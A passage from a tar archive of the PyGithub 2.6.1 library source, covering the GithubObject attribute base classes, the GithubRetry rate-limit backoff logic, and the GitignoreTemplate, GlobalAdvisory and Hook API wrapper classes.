PaginatedList[Installation]: """ :calls: GET /app/installations """ return PaginatedList( contentClass=Installation, requester=self.__requester, firstUrl="/app/installations", firstParams=None, headers=self._get_headers(), list_item="installations", ) def get_org_installation(self, org: str) -> Installation: """ :calls: `GET /orgs/{org}/installation ` """ org = urllib.parse.quote(org) return self._get_installed_app(url=f"/orgs/{org}/installation") def get_repo_installation(self, owner: str, repo: str) -> Installation: """ :calls: `GET /repos/{owner}/{repo}/installation ` """ owner = urllib.parse.quote(owner) repo = urllib.parse.quote(repo) return self._get_installed_app(url=f"/repos/{owner}/{repo}/installation") def get_user_installation(self, username: str) -> Installation: """ :calls: `GET /users/{username}/installation ` """ username = urllib.parse.quote(username) return self._get_installed_app(url=f"/users/{username}/installation") def get_app_installation(self, installation_id: int) -> Installation: """ :calls: `GET /app/installations/{installation_id} ` """ return self._get_installed_app(url=f"/app/installations/{installation_id}") def get_app(self) -> GithubApp: """ :calls: `GET /app `_ """ headers, data = self.__requester.requestJsonAndCheck("GET", "/app", headers=self._get_headers()) return GithubApp(requester=self.__requester, headers=headers, attributes=data, completed=True) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GithubObject.py0000644000175100001660000005331314756101563017200 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Andrew Scheller # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jakub Wilk # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Christoph Reiter # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Joseph Henrich # # Copyright 2023 Nicolas Schweitzer # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import email.utils import re import typing from abc import ABC from datetime import datetime, timezone from decimal import Decimal from operator import itemgetter from typing import TYPE_CHECKING, Any, Callable, Union, overload from typing_extensions import Protocol, Self, TypeGuard from . import Consts from .GithubException import BadAttributeException, IncompletableObject if TYPE_CHECKING: from .Requester import Requester T = typing.TypeVar("T") K = typing.TypeVar("K") T_co = typing.TypeVar("T_co", covariant=True) T_gh = typing.TypeVar("T_gh", bound="GithubObject") class Attribute(Protocol[T_co]): @property def value(self) -> T_co: raise NotImplementedError def _datetime_from_http_date(value: str) -> datetime: """ Convert an HTTP date to a datetime object. Raises ValueError for invalid dates. """ dt = email.utils.parsedate_to_datetime(value) if dt.tzinfo is None: # RFC7231 states that UTC is assumed if no timezone info is present return dt.replace(tzinfo=timezone.utc) return dt def _datetime_from_github_isoformat(value: str) -> datetime: """ Convert an GitHub API timestamps to a datetime object. Raises ValueError for invalid timestamps. """ # Github always returns YYYY-MM-DDTHH:MM:SSZ, so we can use the stdlib parser # with some minor adjustments for Python < 3.11 which doesn't support "Z" # https://docs.github.com/en/rest/overview/resources-in-the-rest-api#schema if value.endswith("Z"): value = value[:-1] + "+00:00" return datetime.fromisoformat(value) class _NotSetType(Attribute[Any]): def __repr__(self) -> str: return "NotSet" @property def value(self) -> Any: return None @staticmethod def remove_unset_items(data: dict[str, Any]) -> dict[str, Any]: return {key: value for key, value in data.items() if not isinstance(value, _NotSetType)} NotSet = _NotSetType() Opt = Union[T, _NotSetType] def is_defined(v: T | _NotSetType) -> TypeGuard[T]: return not isinstance(v, _NotSetType) def is_undefined(v: T | _NotSetType) -> TypeGuard[_NotSetType]: return isinstance(v, _NotSetType) def is_optional(v: Any, type: type | tuple[type, ...]) -> bool: return isinstance(v, _NotSetType) or isinstance(v, type) def is_optional_list(v: Any, type: type | tuple[type, ...]) -> bool: return isinstance(v, _NotSetType) or isinstance(v, list) and all(isinstance(element, type) for element in v) camel_to_snake_case_regexp = re.compile(r"(? dict[str, Any]: ... @overload def as_rest_api_attributes(graphql_attributes: None) -> None: ... def as_rest_api_attributes(graphql_attributes: dict[str, Any] | None) -> dict[str, Any] | None: """ Converts attributes from GraphQL schema to REST API schema. The GraphQL API uses lower camel case (e.g. createdAt), whereas REST API uses snake case (created_at). Initializing REST API GithubObjects from GraphQL API attributes requires transformation provided by this method. Further renames GraphQL attributes to REST API attributes where the case conversion is not sufficient. For example, GraphQL attribute 'id' is equivalent to REST API attribute 'node_id'. """ if graphql_attributes is None: return None attribute_translation = { "id": "node_id", "databaseId": "id", # must be after 'id': 'node_id'! "url": "html_url", } def translate(attr: str) -> str: def un_capitalize(match: re.Match) -> str: return match.group(1) + match.group(2).lower() attr = attribute_translation.get(attr, attr) attr = re.sub(r"([A-Z])([A-Z]+)", un_capitalize, attr) attr = camel_to_snake_case_regexp.sub("_", attr) attr = attr.lower() return attr return { translate(k): as_rest_api_attributes(v) if isinstance(v, dict) else (as_rest_api_attributes_list(v) if isinstance(v, list) else v) for k, v in graphql_attributes.items() } def as_rest_api_attributes_list(graphql_attributes: list[dict[str, Any] | None]) -> list[dict[str, Any] | None]: return [as_rest_api_attributes(v) if isinstance(v, dict) else v for v in graphql_attributes] class _ValuedAttribute(Attribute[T]): def __init__(self, value: T): self._value = value @property def value(self) -> T: return self._value class _BadAttribute(Attribute[T]): def __init__(self, value: Any, expectedType: Any, exception: Exception | None = None): self.__value = value self.__expectedType = expectedType self.__exception = exception @property def value(self) -> T: raise BadAttributeException(self.__value, self.__expectedType, self.__exception) # v3: add * to edit function of all GithubObject implementations, # this allows to rename attributes and maintain the order of attributes class GithubObject(ABC): """ Base class for all classes representing objects returned by the API. """ """ A global debug flag to enable header validation by requester for all objects """ CHECK_AFTER_INIT_FLAG = False _url: Attribute[str] @classmethod def is_rest(cls) -> bool: return not cls.is_graphql() @classmethod def is_graphql(cls) -> bool: return False @classmethod def setCheckAfterInitFlag(cls, flag: bool) -> None: cls.CHECK_AFTER_INIT_FLAG = flag def __init__( self, requester: Requester, headers: dict[str, str | int], attributes: Any, ): self._requester = requester self._initAttributes() self._storeAndUseAttributes(headers, attributes) # Ask requester to do some checking, for debug and test purpose # Since it's most handy to access and kinda all-knowing if self.CHECK_AFTER_INIT_FLAG: # pragma no branch (Flag always set in tests) requester.check_me(self) def _storeAndUseAttributes(self, headers: dict[str, str | int], attributes: Any) -> None: # Make sure headers are assigned before calling _useAttributes # (Some derived classes will use headers in _useAttributes) self._headers = headers self._rawData = attributes self._useAttributes(attributes) @property def requester(self) -> Requester: """ Return my Requester object. For example, to make requests to API endpoints not yet supported by PyGitHub. """ return self._requester @property def raw_data(self) -> dict[str, Any]: """ :type: dict """ return self._rawData @property def raw_headers(self) -> dict[str, str | int]: """ :type: dict """ return self._headers @staticmethod def _parentUrl(url: str) -> str: return "/".join(url.split("/")[:-1]) @staticmethod def __makeSimpleAttribute(value: Any, type: type[T]) -> Attribute[T]: if value is None or isinstance(value, type): return _ValuedAttribute(value) # type: ignore else: return _BadAttribute(value, type) # type: ignore @staticmethod def __makeSimpleListAttribute(value: list, type: type[T]) -> Attribute[T]: if isinstance(value, list) and all(isinstance(element, type) for element in value): return _ValuedAttribute(value) # type: ignore else: return _BadAttribute(value, [type]) # type: ignore @staticmethod def __makeTransformedAttribute(value: T, type: type[T], transform: Callable[[T], K]) -> Attribute[K]: if value is None: return _ValuedAttribute(None) # type: ignore elif isinstance(value, type): try: return _ValuedAttribute(transform(value)) except Exception as e: return _BadAttribute(value, type, e) # type: ignore else: return _BadAttribute(value, type) # type: ignore @staticmethod def _makeStringAttribute(value: int | str | None) -> Attribute[str]: return GithubObject.__makeSimpleAttribute(value, str) @staticmethod def _makeIntAttribute(value: int | str | None) -> Attribute[int]: return GithubObject.__makeSimpleAttribute(value, int) @staticmethod def _makeDecimalAttribute(value: Decimal | None) -> Attribute[Decimal]: return GithubObject.__makeSimpleAttribute(value, Decimal) @staticmethod def _makeFloatAttribute(value: float | None) -> Attribute[float]: return GithubObject.__makeSimpleAttribute(value, float) @staticmethod def _makeBoolAttribute(value: bool | None) -> Attribute[bool]: return GithubObject.__makeSimpleAttribute(value, bool) @staticmethod def _makeDictAttribute(value: dict[str, Any]) -> Attribute[dict[str, Any]]: return GithubObject.__makeSimpleAttribute(value, dict) @staticmethod def _makeTimestampAttribute(value: int) -> Attribute[datetime]: return GithubObject.__makeTransformedAttribute( value, int, lambda t: datetime.fromtimestamp(t, tz=timezone.utc), ) @staticmethod def _makeDatetimeAttribute(value: str | None) -> Attribute[datetime]: return GithubObject.__makeTransformedAttribute(value, str, _datetime_from_github_isoformat) # type: ignore @staticmethod def _makeHttpDatetimeAttribute(value: str | None) -> Attribute[datetime]: return GithubObject.__makeTransformedAttribute(value, str, _datetime_from_http_date) # type: ignore def _makeClassAttribute(self, klass: type[T_gh], value: Any) -> Attribute[T_gh]: return GithubObject.__makeTransformedAttribute( value, dict, lambda value: klass(self._requester, self._headers, value), ) @staticmethod def _makeListOfStringsAttribute(value: list[list[str]] | list[str] | list[str | int]) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, str) @staticmethod def _makeListOfIntsAttribute(value: list[int]) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, int) @staticmethod def _makeListOfDictsAttribute(value: list[dict[str, str | list[dict[str, str | list[int]]]]]) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, dict) @staticmethod def _makeListOfListOfStringsAttribute( value: list[list[str]], ) -> Attribute: return GithubObject.__makeSimpleListAttribute(value, list) def _makeListOfClassesAttribute(self, klass: type[T_gh], value: Any) -> Attribute[list[T_gh]]: if isinstance(value, list) and all(isinstance(element, dict) for element in value): return _ValuedAttribute([klass(self._requester, self._headers, element) for element in value]) else: return _BadAttribute(value, [dict]) def _makeDictOfStringsToClassesAttribute( self, klass: type[T_gh], value: dict[ str, int | dict[str, Any], ], ) -> Attribute[dict[str, T_gh]]: if isinstance(value, dict) and all( isinstance(key, str) and isinstance(element, dict) for key, element in value.items() ): return _ValuedAttribute( {key: klass(self._requester, self._headers, element) for key, element in value.items()} ) else: return _BadAttribute(value, {str: dict}) @property def etag(self) -> str | None: """ :type: str """ return self._headers.get(Consts.RES_ETAG) # type: ignore @property def last_modified(self) -> str | None: """ :type: str """ return self._headers.get(Consts.RES_LAST_MODIFIED) # type: ignore @property def last_modified_datetime(self) -> datetime | None: """ :type: datetime """ return self._makeHttpDatetimeAttribute(self.last_modified).value # type: ignore def get__repr__(self, params: dict[str, Any]) -> str: """ Converts the object to a nicely printable string. """ def format_params(params: dict[str, Any]) -> typing.Generator[str, None, None]: items = list(params.items()) for k, v in sorted(items, key=itemgetter(0), reverse=True): if isinstance(v, bytes): v = v.decode("utf-8") if isinstance(v, str): v = f'"{v}"' yield f"{k}={v}" return "{class_name}({params})".format( class_name=self.__class__.__name__, params=", ".join(list(format_params(params))), ) def _initAttributes(self) -> None: raise NotImplementedError("BUG: Not Implemented _initAttributes") def _useAttributes(self, attributes: Any) -> None: raise NotImplementedError("BUG: Not Implemented _useAttributes") class GraphQlObject: @classmethod def is_graphql(cls) -> bool: return True class NonCompletableGithubObject(GithubObject, ABC): def __init__( self, requester: Requester, headers: dict[str, str | int], attributes: dict[str, Any], ): super().__init__(requester, headers, attributes) class CompletableGithubObject(GithubObject, ABC): def __init__( self, requester: Requester, headers: dict[str, str | int] | None = None, attributes: dict[str, Any] | None = None, completed: bool | None = None, *, url: str | None = None, accept: str | None = None, ): """ A CompletableGithubObject can be partially initialised (completed=False). Accessing attributes that are not initialized will then trigger a request to complete all attributes. A partially initialized CompletableGithubObject (completed=False) can be completed via complete(). This requires the url to be given via parameter `url` or `attributes`. With a requester where `Requester.is_lazy == True`, this CompletableGithubObjects is partially initialized. This requires the url to be given via parameter `url` or `attributes`. Any CompletableGithubObject created from this lazy object will be lazy itself if created with parameter `url` or `attributes`. :param requester: requester :param headers: response headers :param attributes: attributes to initialize :param completed: do not update non-initialized attributes when True :param url: url of this instance, overrides attributes['url'] :param accept: use this accept header when completing this instance """ response_given = headers is not None or attributes is not None if headers is None: headers = {} if attributes is None: attributes = {} if url is not None: attributes["url"] = url super().__init__(requester, headers, attributes) self.__completed = completed if isinstance(completed, bool) else False self.__completeHeaders = {"Accept": accept} if accept else None # complete this completable object when requester indicates non-laziness and # neither of complete, headers and attributes are given if requester.is_not_lazy and completed is None and not response_given: self.complete() def __eq__(self, other: Any) -> bool: return other.__class__ is self.__class__ and other._url.value == self._url.value def __hash__(self) -> int: return hash(self._url.value) def __ne__(self, other: Any) -> bool: return not self == other @property def completed(self) -> bool: return self.__completed def complete(self) -> Self: self._completeIfNeeded() return self def _completeIfNotSet(self, value: Attribute) -> None: if isinstance(value, _NotSetType): self._completeIfNeeded() def _completeIfNeeded(self) -> None: if not self.__completed: self.__complete() def __complete(self) -> None: if self._url.value is None: raise IncompletableObject(400, message="Cannot complete object as it contains no URL") headers, data = self._requester.requestJsonAndCheck("GET", self._url.value, headers=self.__completeHeaders) self._storeAndUseAttributes(headers, data) self.__completed = True @property def raw_data(self) -> dict[str, Any]: """ :type: dict """ self._completeIfNeeded() return super().raw_data @property def raw_headers(self) -> dict[str, str | int]: """ :type: dict """ self._completeIfNeeded() return super().raw_headers def update(self, additional_headers: dict[str, Any] | None = None) -> bool: """ Check and update the object with conditional request :rtype: Boolean value indicating whether the object is changed. """ conditionalRequestHeader = dict() if self.etag is not None: conditionalRequestHeader[Consts.REQ_IF_NONE_MATCH] = self.etag if self.last_modified is not None: conditionalRequestHeader[Consts.REQ_IF_MODIFIED_SINCE] = self.last_modified if additional_headers is not None: conditionalRequestHeader.update(additional_headers) status, responseHeaders, output = self._requester.requestJson( "GET", self._url.value, headers=conditionalRequestHeader ) if status == 304: return False else: headers, data = self._requester._Requester__check(status, responseHeaders, output) # type: ignore self._storeAndUseAttributes(headers, data) self.__completed = True return True ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GithubRetry.py0000644000175100001660000002743714756101563017107 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Patryk Szulczyk # # Copyright 2023 Trim21 # # Copyright 2024 Austin Sasko # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import json import logging from datetime import datetime, timezone from logging import Logger from types import TracebackType from typing import Any, Optional from requests import Response from requests.models import CaseInsensitiveDict from requests.utils import get_encoding_from_headers from typing_extensions import Self from urllib3 import Retry from urllib3.connectionpool import ConnectionPool from urllib3.exceptions import MaxRetryError from urllib3.response import HTTPResponse from github.GithubException import GithubException from github.Requester import Requester DEFAULT_SECONDARY_RATE_WAIT: int = 60 class GithubRetry(Retry): """ A Github-specific implementation of `urllib3.Retry` This retries 403 responses if they are retry-able. Github requests are retry-able when the response provides a `"Retry-After"` header, or the content indicates a rate limit error. By default, response codes 403, and 500 up to 599 are retried. This can be configured via the `status_forcelist` argument. By default, all methods defined in `Retry.DEFAULT_ALLOWED_METHODS` are retried, plus GET and POST. This can be configured via the `allowed_methods` argument. """ __logger: Optional[Logger] = None # used to mock datetime, mock.patch("github.GithubRetry.date") does not work as this # references the class, not the module (due to re-exporting in github/__init__.py) __datetime = datetime def __init__(self, secondary_rate_wait: float = DEFAULT_SECONDARY_RATE_WAIT, **kwargs: Any) -> None: """ :param secondary_rate_wait: seconds to wait before retrying secondary rate limit errors :param kwargs: see urllib3.Retry for more arguments """ self.secondary_rate_wait = secondary_rate_wait # 403 is too broad to be retried, but GitHub API signals rate limits via 403 # we retry 403 and look into the response header via Retry.increment # to determine if we really retry that 403 kwargs["status_forcelist"] = kwargs.get("status_forcelist", list(range(500, 600))) + [403] kwargs["allowed_methods"] = kwargs.get("allowed_methods", Retry.DEFAULT_ALLOWED_METHODS.union({"GET", "POST"})) super().__init__(**kwargs) def new(self, **kw: Any) -> Self: kw.update(dict(secondary_rate_wait=self.secondary_rate_wait)) return super().new(**kw) # type: ignore def increment( # type: ignore[override] self, method: Optional[str] = None, url: Optional[str] = None, response: Optional[HTTPResponse] = None, # type: ignore[override] error: Optional[Exception] = None, _pool: Optional[ConnectionPool] = None, _stacktrace: Optional[TracebackType] = None, ) -> Retry: if response: # we retry 403 only when there is a Retry-After header (indicating it is retry-able) # or the body message does imply a rate limit error if response.status == 403: self.__log( logging.INFO, f"Request {method} {url} failed with {response.status}: {response.reason}", ) if "Retry-After" in response.headers: # Sleeping 'Retry-After' seconds is implemented in urllib3.Retry.sleep() and called by urllib3 self.__log( logging.INFO, f'Retrying after {response.headers.get("Retry-After")} seconds', ) else: content = response.reason # to identify retry-able methods, we inspect the response body try: content = self.get_content(response, url) # type: ignore content = json.loads(content) # type: ignore message = content.get("message") # type: ignore except Exception as e: # we want to fall back to the actual github exception (probably a rate limit error) # but provide some context why we could not deal with it without another exception try: raise RuntimeError("Failed to inspect response message") from e except RuntimeError as e: raise GithubException(response.status, content, response.headers) from e # type: ignore try: if Requester.isRateLimitError(message): rate_type = "primary" if Requester.isPrimaryRateLimitError(message) else "secondary" self.__log( logging.DEBUG, f"Response body indicates retry-able {rate_type} rate limit error: {message}", ) # check early that we are retrying at all retry = super().increment(method, url, response, error, _pool, _stacktrace) # we backoff primary rate limit at least until X-RateLimit-Reset, # we backoff secondary rate limit at for secondary_rate_wait seconds backoff = 0.0 if Requester.isPrimaryRateLimitError(message): if "X-RateLimit-Reset" in response.headers: value = response.headers.get("X-RateLimit-Reset") if value and value.isdigit(): reset = self.__datetime.fromtimestamp(int(value), timezone.utc) delta = reset - self.__datetime.now(timezone.utc) resetBackoff = delta.total_seconds() if resetBackoff > 0: self.__log( logging.DEBUG, f"Reset occurs in {str(delta)} ({value} / {reset})", ) # plus 1s as it is not clear when in that second the reset occurs backoff = resetBackoff + 1 else: backoff = self.secondary_rate_wait # we backoff at least retry's next backoff retry_backoff = retry.get_backoff_time() if retry_backoff > backoff: if backoff > 0: self.__log( logging.DEBUG, f"Retry backoff of {retry_backoff}s exceeds " f"required rate limit backoff of {backoff}s".replace(".0s", "s"), ) backoff = retry_backoff def get_backoff_time() -> float: return backoff self.__log( logging.INFO, f"Setting next backoff to {backoff}s".replace(".0s", "s"), ) retry.get_backoff_time = get_backoff_time # type: ignore return retry self.__log( logging.DEBUG, "Response message does not indicate retry-able error", ) raise Requester.createException(response.status, response.headers, content) # type: ignore except (MaxRetryError, GithubException): raise except Exception as e: # we want to fall back to the actual github exception (probably a rate limit error) # but provide some context why we could not deal with it without another exception try: raise RuntimeError("Failed to determine retry backoff") from e except RuntimeError as e: raise GithubException(response.status, content, response.headers) from e # type: ignore raise GithubException( response.status, # type: ignore content, # type: ignore response.headers, # type: ignore ) # type: ignore # retry the request as usual return super().increment(method, url, response, error, _pool, _stacktrace) @staticmethod def get_content(resp: HTTPResponse, url: str) -> bytes: # type: ignore[override] # logic taken from HTTPAdapter.build_response (requests.adapters) response = Response() # Fallback to None if there's no status_code, for whatever reason. response.status_code = getattr(resp, "status", None) # type: ignore # Make headers case-insensitive. response.headers = CaseInsensitiveDict(getattr(resp, "headers", {})) # Set encoding. response.encoding = get_encoding_from_headers(response.headers) response.raw = resp response.reason = response.raw.reason # type: ignore response.url = url return response.content def __log(self, level: int, message: str, **kwargs: Any) -> None: if self.__logger is None: self.__logger = logging.getLogger(__name__) if self.__logger.isEnabledFor(level): self.__logger.log(level, message, **kwargs) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitignoreTemplate.py0000644000175100001660000001012214756101563020241 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class GitignoreTemplate(NonCompletableGithubObject): """ This class represents GitignoreTemplates. The reference can be found here https://docs.github.com/en/rest/reference/gitignore The OpenAPI schema can be found at - /components/schemas/gitignore-template """ def _initAttributes(self) -> None: self._name: Attribute[str] = NotSet self._source: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def name(self) -> str: return self._name.value @property def source(self) -> str: return self._source.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "source" in attributes: # pragma no branch self._source = self._makeStringAttribute(attributes["source"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GlobalAdvisory.py0000644000175100001660000001454414756101563017553 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Joseph Henrich # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.AdvisoryBase import github.AdvisoryCreditDetailed import github.AdvisoryVulnerability from github.AdvisoryBase import AdvisoryBase from github.GithubObject import Attribute, NotSet if TYPE_CHECKING: from github.AdvisoryCreditDetailed import AdvisoryCreditDetailed from github.AdvisoryVulnerability import AdvisoryVulnerability class GlobalAdvisory(AdvisoryBase): """ This class represents a GlobalAdvisory. https://docs.github.com/en/rest/security-advisories/global-advisories The OpenAPI schema can be found at - /components/schemas/global-advisory """ def _initAttributes(self) -> None: super()._initAttributes() self._credits: Attribute[list[AdvisoryCreditDetailed]] = NotSet self._epss: Attribute[dict[str, Any]] = NotSet self._github_reviewed_at: Attribute[datetime] = NotSet self._nvd_published_at: Attribute[datetime] = NotSet self._references: Attribute[list[str]] = NotSet self._repository_advisory_url: Attribute[str] = NotSet self._source_code_location: Attribute[str] = NotSet self._type: Attribute[str] = NotSet self._vulnerabilities: Attribute[list[AdvisoryVulnerability]] = NotSet def __repr__(self) -> str: return self.get__repr__({"ghsa_id": self.ghsa_id, "summary": self.summary}) @property def credits( self, ) -> list[AdvisoryCreditDetailed]: return self._credits.value @property def epss(self) -> dict[str, Any]: return self._epss.value @property def github_reviewed_at(self) -> datetime: return self._github_reviewed_at.value @property def nvd_published_at(self) -> datetime: return self._nvd_published_at.value @property def references(self) -> list[str]: return self._references.value @property def repository_advisory_url(self) -> str: return self._repository_advisory_url.value @property def source_code_location(self) -> str: return self._source_code_location.value @property def type(self) -> str: return self._type.value @property def vulnerabilities(self) -> list[AdvisoryVulnerability]: return self._vulnerabilities.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "credits" in attributes: # pragma no branch self._credits = self._makeListOfClassesAttribute( github.AdvisoryCreditDetailed.AdvisoryCreditDetailed, attributes["credits"], ) if "epss" in attributes: # pragma no branch self._epss = self._makeDictAttribute(attributes["epss"]) if "github_reviewed_at" in attributes: # pragma no branch assert attributes["github_reviewed_at"] is None or isinstance( attributes["github_reviewed_at"], str ), attributes["github_reviewed_at"] self._github_reviewed_at = self._makeDatetimeAttribute(attributes["github_reviewed_at"]) if "nvd_published_at" in attributes: # pragma no branch assert attributes["nvd_published_at"] is None or isinstance( attributes["nvd_published_at"], str ), attributes["nvd_published_at"] self._nvd_published_at = self._makeDatetimeAttribute(attributes["nvd_published_at"]) if "references" in attributes: # pragma no branch self._references = self._makeListOfStringsAttribute(attributes["references"]) if "repository_advisory_url" in attributes: # pragma no branch self._repository_advisory_url = self._makeStringAttribute(attributes["repository_advisory_url"]) if "source_code_location" in attributes: # pragma no branch self._source_code_location = self._makeStringAttribute(attributes["source_code_location"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "vulnerabilities" in attributes: self._vulnerabilities = self._makeListOfClassesAttribute( github.AdvisoryVulnerability.AdvisoryVulnerability, attributes["vulnerabilities"], ) super()._useAttributes(attributes) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Hook.py0000644000175100001660000002366214756101563015533 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Wan Liuyang # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.HookResponse from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional, is_optional_list class Hook(CompletableGithubObject): """ This class represents Hooks. The reference can be found here https://docs.github.com/en/rest/reference/repos#webhooks The OpenAPI schema can be found at - /components/schemas/hook """ def _initAttributes(self) -> None: self._active: Attribute[bool] = NotSet self._config: Attribute[dict] = NotSet self._created_at: Attribute[datetime] = NotSet self._deliveries_url: Attribute[str] = NotSet self._events: Attribute[list[str]] = NotSet self._id: Attribute[int] = NotSet self._last_response: Attribute[github.HookResponse.HookResponse] = NotSet self._name: Attribute[str] = NotSet self._ping_url: Attribute[str] = NotSet self._test_url: Attribute[str] = NotSet self._type: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property def active(self) -> bool: self._completeIfNotSet(self._active) return self._active.value @property def config(self) -> 